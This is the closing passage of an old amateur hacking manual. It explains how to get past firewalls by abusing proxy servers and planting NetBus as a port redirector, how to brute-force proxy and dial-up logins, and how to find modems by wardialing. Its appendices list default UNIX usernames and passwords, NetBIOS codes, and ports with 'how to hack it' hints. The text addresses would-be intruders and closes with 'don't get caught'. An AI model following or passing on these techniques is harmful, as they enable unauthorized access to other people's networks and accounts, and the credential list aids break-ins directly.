•	There are other ways to masquerade as a computer from inside your target network to pass through a firewall.  What if your target machine is an NT Server?  There is no telnet daemon.  Well, if there are NT servers on the network, there will be NT Workstations and Windows 9x boxes too.  And those machines will probably have internet access.  How do they connect to the internet?  Via a proxy server - all HTTP requests are directed to the designated proxy server, who requests the URL for them, gets it from whatever webserver the web page is on, and sends it back to the workstation inside the internal network that originally requested it.  Remember that when computers surf the Internet via a proxy server, their IP address (to the Internet) is that of the proxy servers (read the 'keeping from getting caught' section for more details on how this works, or check the definition of 'proxy server' at the beginning of this text).  So how do you connect to a webpage inside on an internal computer that is blocked by the router?  Connect via the network's proxy server.  If a proxy server exists (which one will, 99% of the time), it cannot be blocked by a firewall - how would the requested web pages be sent back to it if it were?  Okay, so we know that one of the computers that turned up on a subnet scan is probably a proxy server.  Your next step is to use it to make connections for you.  Go to your Netscape of Internet Explorer settings, and select 'proxies.'  (Note: proxy setting on your Internet Preferences of Control Panel only work if you are physically connected to the a proxy server, meaning on the same LAN as it.)  For HTTP ports, try 80, 8080, 88, and 8888.  For FTP, try 21, 2121, etc.  Its less common, though, for proxy servers to be setup to handle FTP preying.  So for each computer you found on the subnet, enter it in as a proxy server in your browser settings, hit 'Okay,' and then just request any web page.  Www.hackers.com, or whatever.  On the bottom of your screen, you will see your browser attempting to connect to the proxy server.  If you get an error message, the computer is not a proxy server, or you specified the wrong port number (try some others).  If the web page you requested shows up on your browser - congratulations, you connected to the proxy.  Now request pages (or an FTP session) with a computer behind the firewall - chances are it will let you in since your IP address is now the proxy server’s when making connections of the protocol you specified to use proxies for (and again, firewalls generally allow connections from computers of its own network).  Now, proxy servers will allow computers to use it as a proxy based on a set of criteria.  These are:
•	  
•	Always - any computer connecting will be allowed to use this proxy (known as a public proxy)
•	Depending on who connects to it, ie: the IP address of the connecting computer, or
•	If the connecting computer can validate itself with a username and password

If you are prompted with a username and password request, you are not out of luck.  Get yourself WebCrack, enter the proxy server as the target machine, and launch an attack.  Proxy server authentication is exactly the same as password protection of private web pages, and WebCrack will brute force until its let in.  Once you find a valid username and password combo, you will be able to use the proxy.  Now connect to the computer blocked by the router.

You've just cracked a firewall.

Private IP Networks as Firewalls
Certain ranges of IP addresses are known as 'private.'  For example, all the 10.x.x.x (class A) and 172.16.x.x (class B) networks are private, and if you try to connect (telnet, http, whatever) to one of these addresses, the address will not resolve (ie: you wont be able to connect).  Often times, company’s will use a range of private IP addresses, in order to keep hackers out.  This is another form of a firewall.  However, if the company wants their network connected to the internet in any fashion (for their workstations to be able to surf, or for email, or whatever), at least on computer has to have an public IP address, meaning an IP address that the Internet (and therefore you) can connect to.  This computer is a proxy server of types, and generally has two Network Interface Cards (adapters used to connect network cable to), one with one of the private addresses, on with a public address.  This 'public' computer, being the specialized proxy server, will (unlike your computer, and any other on the Internet) understand the private address.  So to connect to the 10.x.x.x (or whatever private address your target uses internally), you'll need to connect to the proxy server.  If its a UNIX machine, you'll have to get an account with telnet access, and telnet from it to your destination.  If its a Windows machine, you'll have to use the preying method explained above.  The reason that this machine understands the private addresses is because it has an ARP (Address Resolution Protocol) table for those computers.  For more info on this, look into ARP and IP routing.
Since the proxy server is the only computer on the entire Internet that is able to connect to the private network protected by this type of network, you will have to connect through it.  One other option is hacking into it, and installing a port redirector program.  For example: if you can install NetBus onto the computer, you can set it to redirect all connections made to a port you specify to another address.  So lets say when you try to connect to 10.2.56.14 (reserved) with telnet, you get a 'failed to resolve address' message, meaning that address is not on the Internet, and your computer (nor any other on the Internet) understands that address.  But you know that 204.56.87.5 (an address that is on the Internet, and that you can connect to) is the proxy server for the 10.2.56 network.  You break in, install NetBus, and set the port redirector to 10.2.56.14.  Next - telnet to 204.56.87.5 (on the port you specified to be redirected) and sine 204.56.87.5 knows where 10.2.56.14 is, your connection will be bounced over to that machine.

Congrats - you've just penetrated another firewall.

In Summary
With this text I've scratched the surface of the hacking of today.  If nothing else, you should have learned just how much you're going to have to learn to become a proficient hacker.  You'll need to learn more about various protocols, about different operating systems.  Learning programming languages such as C or Perl would definitely help you.  There are a lot of programs out there, but most do the same as its legitimate counterpart would do, and don't allow much room for fine tuning.  Imagine the power in the ability to write a target-specific program to aid you in hacking it!  Anyways, I also strongly suggest installing Linux on your machine as well.  UNIX is more powerful (and therefore more complex) than DOS and Windows, and the only way you'll learn anything about it is to have it (not to mention raw sockets!).  Even a book wouldn't be of much use if you had nothing to apply what you've learned on.  When faced with a challenge that you don't quite understand, fumble your way through.  Try not to ask for help all the time.  You'll learn a lot more that way - and not just about the obstacle in question.  In closing, let me say that you should never decide that you know enough.  An unquenchable thirst for knowledge is what drives the real hacker.  The process, not the end result.  I guess I see no better way to end this text than with my favorite quote (from a good friend of mine):
"What do you want to hack today?"
[ Kurruppt2k ]

Shoutouts and Credits
Most of the info and methodologies here is from first hand experience.  Some of the Exploits listed I got from Maximum Security (but I tried them, to make sure they work), and SecurityFocus.  Inspiration?  Go download a few good techno MP3’s (all available at mp3.com) - Matrix by Wintermute, Darth Techno by Raver FX, and Linux vs. Win NT by Noize Concept will all set the stage for some serious haxoring.  

And a manual like this wouldn’t be complete without a few shoutouts to my cohorts.  Shoutouts go to: Raz0rphane aka RiotKl0ne, _Syn, the LoungeRaptor, Grim Ph0enix, Dr34d 451, Enz00, WCU, HeadCase, ViRuSS, and Blu3skr33n, and all of Shadow of the iNode.  Phear SiN.

If you (the reader) can think of anything you’d like to see added in future releases, or just have any criticisms, email me at kurruppt2k@mailcity.com.  Thanx.

Appendices
Here is a compilation of miscellaneous info that either had no logical place in the flow of the manual, or is just kinda a chart or list of info that is better appended to the end.  Have phun.

Appendix A - Dialup Hacking
This is something that has almost gone away completely.  Back in the old skool days of hacking, people connected their networks by dialing into computers of their remote offices.  Leased digital lines (such as T1’s, DSL, or Frame Relay) were much too expensive for most, so modems and the PSTN (Public Switched Telephone Network) were used.  Nowadays, though, companies connect their networks with either dedicated digital lines, or over the internet (with technologies such as VPNs, explained in the crypto section of ‘Intro to h/p/v/c’).  And that’s how hackers connected to their victims - by dialing directly into them.  This limited hackers’ techniques to primarily brute force, social engineering, and trashing.  Only being able to dial in is like having port 23 the only open port on every machine you ever try to hack.  Not much phun.  
Today, though, hackers do their work over the Net.  On occasion, though, you may find yourself dialing right into the system you’re trying to crack. Why?  Maybe you’re target isn’t on the Net, but have a modem.  Maybe while tiptoe-ing around you found that one machine on their NT network was a RAS server, and want to dial in.  For whatever reason, you’ll probably dial into at least one machine in your h/p career.  

Dialing a modem with your own is just like telnetting to a machine.  You type characters which are sent to the host, and it sends characters back to your screen.  This means a few things.  You’re programs that use any TCP/IP stuph wont work - because you’re not communicating over a TCP/IP network.  All you can do is send text over the wire.  One of the only reasons you ever might want to hack via dialup is because some companies might have heavily guarded firewall system in place for the Internet, but less secure modems (like if an employee hooks up a modem to their workstation without the sysadmin knowing about it).  

To dial out from your computer, you’ll either use a Windows or DOS program such as Terminal, Hyperterminal, or Dial-Up Networking, or a Linux program such as netconf or pppd.  Hyperterminal comes with Win9X and NT, but I prefer the old Terminal program that came with Windows 3.X.  To talk to you’re modem, you’ll use the AT commands.  Here are a few of those.

AT	To see if your modem is responding.  If so, you’ll get an ‘OK’ message back.
ATE0	To turn the local echo off.  Some hosts will echo (send) characters you type back to 
your screen.  If they do, turn the echo off.
ATE1	To turn the local echo off.  If the host you’re calling doesn’t echo, you’ll want to see what you’re typing.
ATS0	To turn your modem speaker off.
ATS1	To turn your modem speaker on.
ATPPP	To turn PPP mode on.
ATDT	To dial a number using touch-tone (DTMF).  To dial 555-6789 type: atdt 555-6789
ATPT	To dial a number using pulse dialing.

There are a lot of modem commands.  Hyperterminal won’t let you use them, since it does all the dialing of numbers for you.  Older DOS dialers/terminal emulators let you, though, as does Terminal.  

When you dial into a machine, you’ll most likely see either some old mainframe OS, or a UNIX machine.  NT does have a program called RAS, though, which stands for Remote Access Service.  You use Dial-Up Networking to connect to RAS servers, and once authenticated, the computer (and sometimes network) you dialed into will show up on you’re network neighborhood.  Windows 9X DUN must be updated before they can dial into RAS servers, but NT Workstation’s DUN will work out of the box.  

 PSTN Protocols.  When the PSTN was the primary means of internetworking, a few protocols were developed to transfer data between remote hosts.  Kermit, xmodem, and ymodem are a few of these.  Mainframes support these usually, so get a dialup terminal emulator that supports these protocols to get or put data on/from these machines.  Terminal has a built-in file transfer function.  Kermit for DOS supports most PSTN protocols also.  

How do you find dialup phone numbers?  First find all phone numbers associated with that organization.  Look in the phone book.  Do a whois and you’ll get a few phone numbers.  Then get yourself a wardialer.  This is a program that scans PSTN exchanges.  In laymen’s terms, it will dial every phone number in a range you specify looking for modems.  These programs were very popular years ago, and most are for DOS.  A few GUI wardialers exist though.  Two very good ones are PhoneTag and PhoneSweep.  So say you look up the phone number of victim.com in your phone directory and get 555-1234.  You whois them, and for an administrative contact you get 555-9876.  You’d want your wardialer to scan from 55512XX and 55598XX, meaning:

555-1200 to 555-1200 and
555-9800 to 555-9899

You’ll probably find a few numbers that are carriers (modems).  Dial into each, and see what you find.  If you get nothing when you connect, or garbage, try changing your start bits, stop bits, and parity (in the settings of your dialer program) to get readable results.  For wardialers, PhoneTag is a good one.  PhoneSweep is good too, and also has a built-in brute force program, which is pretty handy, especially for dialing into UNIX servers.  This program might be your only way in to many dialup servers.

Then there’s DUN.  Microsoft Dial-Up Networking.  When you dial your ISP, DUN takes care of all the sending and receiving of characters over the phone line for you.  To see what’s happening behind the scenes while you connect to your ISP, dial it with Terminal or Hyperterminal.  You’ll actually get a login prompt that looks like one of these:

Login:
Username:
Userid:

Enter garbage, some username and password you know wont work.  You’ll get an ‘access denied’ message, or a regular UNIX bad login message.  Then enter the username/password you use to connect to your ISP.  You’ll usually get a string of garbage characters, which is PPP or SLIP data (meaning you’re connected to the Net).  When you use DUN, it types your username and password for you.  Some systems require additional info.  One ISP I had prompted with just a ‘>’ sign, at which point you type ‘logon.’  You then got a logon prompt, followed by the PPP data if you logged on successfully.  DUN will take care of all of this miscellaneous data transfer for you.  Sometimes, though, the host you dial into has a very obscure login process, involving multiple logons and commands to get an Internet connection.  DUN can’t know all of this, so you use Dial-Up Networking scripts.  These are.scp files.  DUN scipts tell DUN what characters to send, and when.  For example, a while back CompuServer didn’t have their own DUN client program, and logging into their system was to obscure for DUN to handle by itself, and too confusing for most people to use.  So they gave out an .scp file to use with MS DUN, that typed in the appropriate characters at the right time.  What’s the point of all this?  DUN scripting is very easy to learn.  Do a search on your own box for *.scp, and you’ll find a few  that come with Windows.  The syntax is pretty easy.  Functions like ‘Expect’, and ‘Send’.  Something like: “expect ‘login:’ - send ‘root’ “ means “when I get the text ‘login:’ I’ll send the text ‘root’ “.  If you spend a few minutes looking at the .scp files that come with Windows, you’ll figure out how to use it.  And when you do, you’ll be better armed to hack a dialup machine.  Write a script that BF’s your target.  Or write one that spits tons of data (lines and lines of characters) to a certain prompt to overload it and see what happens - maybe you’ll get a shell.  

Appendix B - Commonly used and default usernames/passwords, UNIX

      username: common passwords
      -----------------------------------------
      root: root   
      sys: sys / system / bin   
      bin: sys / bin   
      mountfsys: mountfsys   
      adm: adm   
      uucp: uucp   
      nuucp: anon   
      anon: anon   
      user: user   
      games: games   
      install: install   
      demo: demo / tour / guest  
      umountfsys: umountfsys   
      sync: sync   
      admin: admin   
      guest: guest   
      daemon: daemon 
      qadmin: adm / admin  
      sys: sys system / bin  
      123: lotus / lotus123  
      anonuucp:  anon / uucp  
      asg: device / devadmin  
      backup: save / tar  
      csr: support / castup  
      dbcat: database / catalog  
      default: user / guest  
      diag: diag / sysdiag(s)  
      field: fld / test / support  
      end: visitor / demo / tour  
      informix: database  
      ingres: database  
      lib: library / syslib  
      lp: print / lpadmin 
      lpr: (no password)	  
      main: sysmaint / service
      mail: mail / email / phones 
      manager: mgr / man   
      ncrm: ncr  
      net: netowrk  
      netinst: inst / install / net  
      netman: net / man / mgr  
      netmgr: mgr / man / net  
      network: net  
      nobody: anon  
      nuucp: anon  
      oasys: oa  
      odt: opendesktop  
      oper: operator / sysop  
      sysop: sysadm / sysop  
      ftp: ftp / anon / anonymous 
      telnet: telnet  
      visitor: anon / guest
      www: webmaster / webadmin

Appendix C - UNIX commands
Here are some basic commands that work on most UNIX flavors
cd [dir]		change directory to [dir].  cd with no arguments will place you in your home directory.
pwd		tells you what directory you're currently in.
ls		lists the files in your pwd
ls -a		lists all files in your pwd, even hidden files (files that begin with a period)
ls -l		lists the files in your pwd, and gives the permissions for them
cat [file]		displays the file you argue on the screen, equivalent to 'type' in DOS
vi		powerful text editor, for avanced users
emacs, and pico  text editors, similar to MS-DOS Edit
man [command]  gives you the manual (help pages) on a particular command - USE THIS!!!
cp [src][dst] 	copy a file from src to dst
rm [file]		delete a file
mv [file] [newfile]	move or rename a file
mkdir		create a directory
chmod		change permissions of a file you own (use 'man' to learn more about this command)
grep		search a file for a particular string
talk		chat with a user
mail		commandline email
pine and elm  	front-ends to mail
rlogin		learn about rhosts files - a great hacking technique
rsh		ditto

Also, if you are fermilliar with DOS redirects, appends, and pipes, they work similarly in UNIX.  Remember, when in doubt, RTFM! 

Appendix D - NT Hex Codes

When you nbtstat an NT b0x, you'll be presented with a list of entires, and a hex code in anglebrackets telling you what that entry is.  Why do you need to know any besides <00> and <20>?  To get an idea of what role the computer plays in the domain.  Here's what they are.

Name			Number		Type		Usage
========================================================================
<computername>	00		U		Workstation Service
<computername>	01		U		Messenger Service
<_MSBROWSE_>	01		G		Master Browser
<computername>	03		U		Messenger Service
<computername>	06		U		RAS Server Service
<computername>	1F		U		NetDDE Service
<computername>	20		U		File Server Service
<computername>	21		U		RAS Client Service
<computername>	22		U		Exchange Interchange 
<computername>	23		U		Exchange Store
<computername>	24		U		Exchange Directory
<computername>	30		U		Modem Sharing Server Service
<computername>	31		U		Modem Sharing Client Service
<computername>	43		U		SMS Client Remote Control
<computername>	44		U		SMS Admin Remote Control Tool
<computername>	45		U		SMS Client Remote Chat
<computername>	46		U		SMS Client Remote Transfer
<computername>	4C		U		DEC Pathworks TCPIP Service
<computername>	52		U		DEC Pathworks TCPIP Service
<computername>	87		U		Exchange MTA
<computername>	6A		U		Exchange IMC
<computername>	BE		U		Network Monitor Agent
<computername>	BF		U		Network Monitor Apps
<username>		03		U		Messenger Service
<domain>		00		G		Domain Name
<domain>		1B		U		Domain Master Browser
<domain>		1C		G		Domain Controllers
<domain>		1D		U 		Master Browser
<domain>		1E		G		Browser Service Elections
<INet~Services>	1C		G		Internet Information Server
<IS~Computer_name>	00		U		Internet Information Server
<computername>	[2B]		U		Lotus Notes Server
IRISMULTICAST	[2F]		G		Lotus Notes
IRISNAMESERVER	[33]		G		Lotus Notes
Forte_$ND800ZA	[20]		U		DCA Irmalan Gateway Service

Appendix E - Commonly known TCP ports

If you're unsure about any of these, look at the protocol section of 'TCP/IP and the Client/Server Model' above.  Otherwise, research them on the Net.

Port	Description	How to Hack it (Explanation)
   1	TCP Mux	You figure this one out
   7	Echo		All characters are echoed back to you, used for network troubleshooting
   9	Discard/null	The name says it all... how quick can you figure this port out?
  11	Systsat		Use this port to get info on users of that system
  13	Daytime		Time and date, used to synchronize computers in a network
  15	Netstat		Info on network settings for this computer - go here!
  19	Chargen	Character Generator - used to spot network problems
  21	FTP		File Transfer Protocol
  22	SSH		Secure Shell - encrypted telnet
  23	Telnet		Telnet
  25	SMTP		Simple Mail Transfer Protocol
  39	Rlp		Resource location
  43	Whois		This machine has a whois daemon - use it
  53	DNS		Domain Name Service
  69	TFTP		Trivial FTP - oftentimes vulnerable (get /etc/passwd)
  70	Gopher		Text-only web surfing and indexing
  79 	Finger		Info on users (and who's logged on).  Hack this!
  80	HTTP (www)	A web server
110	POP3		Post Office Protocol - used for email
111	SunRPC	RPC - used in conjunction with NIS, and possible vulnerable
118	SQLSrv		SQL (Sequel) Server - this machine proably housed a huge database
119	NNTP		Network News Transfer Protocol - Usenet server
139	Nbsession	Net BIOS Session Service - Windows Networking
443	SSL		Secure HTTP - (Secure Session Link).  Browse with 'https://' 
512	Biff		Mail notification
513	Rlogin/who	Remote login / remote who
520	Route		Routing information protocol
524	NCP		Netware Core Protocol (over IP) - sure sign of a Novell Netware box

Appenxix F - NT and UNIX Groups
Groups (in NT and UNIX) are an integral part to how permissions work.  Most system admins assign permissions to individual user accounts.  Instead they put certain users into certain groups, and assign permissions to those groups.  Here is some info on groups for both OS’s.

NT
Group			Privelages
Domain Admins		High (Administrator equivalent)
Account Operators	High
Domain Guests		Low
Domain Users		Low (everyone is part of this group - gives ‘everyone’ or ‘the world’ access)

UNIX
Group		GID	Members
Root		  0	root(UID 0)
Bin		  1	root, bin(UID 1), daemon(UID 2)
Daemon		  2	root, bin, daemon
Sys		  3	root, bin, adm(UID 3)
Adm		  4	root, adm, daemon
Tty		  5
Disk		  6	root
Lp		  7	daemon, lp(UID 4)
Mem		  8
Kmem		  9
Wheel		 10	root
Mail		 12	mail(UID 8)
News	 	 13	news(UID 9)
Uucp		 14	uucp(UID 10)
Man		 15
Games		 20
Gopher		 30
Dib		 40
ftp		 50
nobody	  	 99			
users	 	100
floppy		 19

Deamons, such as httpd and ftpd also have UID’s, which are set by the sysadmin.  Having daemons with low UID’s is an insecurity - if a remote attacker can exploit httpd with a low UID, he can access resources with that UID equivalent.  So if you buffer overflow ftpd (running UID 0) from outside and get a shell, that shell will be a rootshell - being its UID is 0 (root).  

Appendix G - Redhat Linux Installation
Many kool hacker things for UNIX require that you are root.  So you need root on a system, but cant hack root cuz you can’t use Nmap, SATAN, or even showmount.  Also there’s no better way to learn how to hack UNIX machines than practicing on your own.  You need to install Linux on a partition of your hard drive.  Some newbies have trouble with this - its not exactly like a Windows installation.  

Redhat is probably the easiest Linux to get up and running, rivaled by Caldera and SuSE.  Version 6.X is out, but 5.2 will cost you only $30.  Or have a friend burn you a copy of the CD-ROMs and boot floppy.  Once you have this, you’re ready to begin.

First write down everything about your PC you can, especially monitor and display adapter info.  
If your machine can’t natively boot off of your CD-ROM drive, Redhat comes with a boot floppy.  Slap it in, and boot up.  When prompted, hit enter for ‘normal’ (versus expert) mode.  Drivers for your CD-ROM, keyboard, and monitor will be loaded, and installation will be switched to from your CD-ROM (make sure the CD is in).  You’ll then be asked where you want to install from (NFS, Image, etc).  Choose CD-ROM obviously.  

When you partition your hard drive, use Disk Druid.  You’ll need a separate partition for Linux swap space - make it 7 mb or so.  HDA1 is hard drive 1 (a), partition 1, whereas HDB3 is hard drive 2 (b) partition 3.  Disk Druid uses this naming scheme.  This is also how partitions will be referred to later during the installation, and in your /etc file (HDA1 is represented by the file /etc/hda1).

Soon you’ll be prompted with a class of install: Workstation, Server, and Custom.  If you have the hard drive space (a little over a gig) choose server, otherwise choose workstation (500 MB).  If you have any less than 500 megs, you won’t be able to install enough to make a k-leet Linux box.  Anyways, Custom allows you to pick individual packages - if you do this, make sure you include C development libraries (to compile exploits), editors, and X (if you want a GUI).  

X ( X Windows, the GUI for Linux) is probably the hardest part to install.  If your display card isn’t listed in the list presented to you, you’ll have to find out the following settings for your machine: vertical refresh rate, horizontal sync rate, megs of vid ram, and your clockchip setting.  Get these from documentation that came with your hardware, or from technical support.  If you just cant figure it out, try different settings until it works.  Xconfigurator is the utility to change X settings after installation.  

LILO is the program you use to change boot parameters.  If you have multiple OS’s (Win98, NT, and Linux), you’ll need to configurate LILO to boot to all these OS’s.  The installation will prompt you for the necessary info, otherwise use linuxconfig to do it manually.  

Use the linuxconfig utility to configure your box after installation.  Use netconf to config networking (including dial-up networking) stuph for your box.  The redhat website (www.redhat.com) site also is a good source for tech support.  Www.freshmeat.com has a good dialer program to get you connected to the net, and www.slashdot.com is always a good Linux reference.

Appendix H  - Further Reading
This manual is the most in-depth yet all-encompasing hacking text for newbies I've seen yet.  I’m not bragging - I too have lot to learn.  But I’ve put a lot of time into this text over the various releases, and I think it covers a lot.  The Net does hold a lot more, though.  Some you'll find are very basic and a bit of a waste of time.  Others are very old, and only cover stuph like dial-up hacking.  Lame.  There are a lot of good texts out there that cover very specific areas of hacking (details that couldn't be covered here without writing an encyclopedia).  I encourage you to download and read as many of these as you can get your hands on.  Target a SCO Unixware box?  Get a text on SCO vulnerabilities.  Find a new, more complex hacking tool such as NMap or NetCat?  Grab a tutorial on it - there’s no need for me to reinvent the wheel.  Also, a few books have been published on the subject.  Here's a quick guide to texts and books worth your time.

Texts
The Happy Hacker's Guides to Mostly Harmless Hacking are worth reading, especially for newbies.  Get them at www.happyhacker.org.  
The Hacker's Desk Reference is a in-depth look at Windows Networking and NetBEUI, along with other things.  This is a very informative text, but might confuse the newbies.  By Rhino9.  Available at TCU.
The NT WarDoc is a new text also by Rhino9.  It covers NT break-in techniques in more detail.  Also available at TCU.
Securing Your Site by Breaking Into It is a good all-around UNIX hacking text.  Available at TCU.
The Hacker's Kit is handy.  Its a bit old, but if you can wade through the occasional lame content, you'll find usefull UNIX hacking tricks.  This text is also filled with C code - tools and exploits of all kinds.  Available at TCU.

Books
If you've ever heard of the Rainbow Books, they're worth a look at.  They're specific books on specific technolgies and entities.  Old, but usefull.
For general Network books, take a look at these: Networking Essentials by Microsoft Press.  This is a beginner's book to how networks work.  
Cisco Routers and TCP/IP - complex, but great for learning how the Internet really works. 
The Big UNIX Book is just that - full of UNIX info, including shell scripting, configuration, etc.  Secrets of Redhat Linux is also good.  Microsoft TCP/IP and NT Technical Support are good books to learn the innerworkings of NT.  

And then the actual hacker books.  
Secrets of a Super Hacker by The Knightmare was the first of these.  It's pretty vague, and doesn't cover Internet hacking (due to its age), but is worth at least a check-out from your library. 
 The Happy Hacker is a great book for complete newbies.  But if you consider yourself a novice hacker, most of the stuph in that book will bore you.  
Maximum Security is a huge book with good info and a pretty big list of system vulnerabilities.  It explains how to secure a network by explaining to how hack into one (sort of).  It also has a decent amount of TCP/IP info - stuph you'll need to know.  It covers NT and UNIX well too.  
Maximum Linux Security is pretty good too.  It covers Linux security as well as other miscellaneous Linux issues.  One particularly nice thing about this book is it explains how to setup a firewall with Linux.
And Hacking Exposed - the latest one.  This one is, in my opinion, the best of the four.  Not for amatures, but definitely a good book.  You'll learn all sorts of leet techniques to use, along with what programs to use and how to use them.  Get this book.

RFC’s are good references to technical material as well.  Www.hackersclub.com gets lots of submissions on specific vulnerabilities - always a good place to look.  The ‘further reading’ section is titled ‘how to become elite” for a reason.  In order to become 31337, you’ll have to do a lot of reading.  Not just ‘how to hack’ stuph either.  You’ll need to learn all kinds of systems, protocols, and technologies.  Another great way to learn about a certain system is to install it on your own machine.  Get NT Server and install IIS.  Most Linux distributions come with Apache Web Server - install it and see how it works for yourself.  You’ll be much better armed in hacking it.

Mostly, just have fun with this stuff.  Enjoy learning what you must in order to break in.  The process, not just the end result.  So, on that note, have fun, learn, and don’t get caught.

Happy Hacking!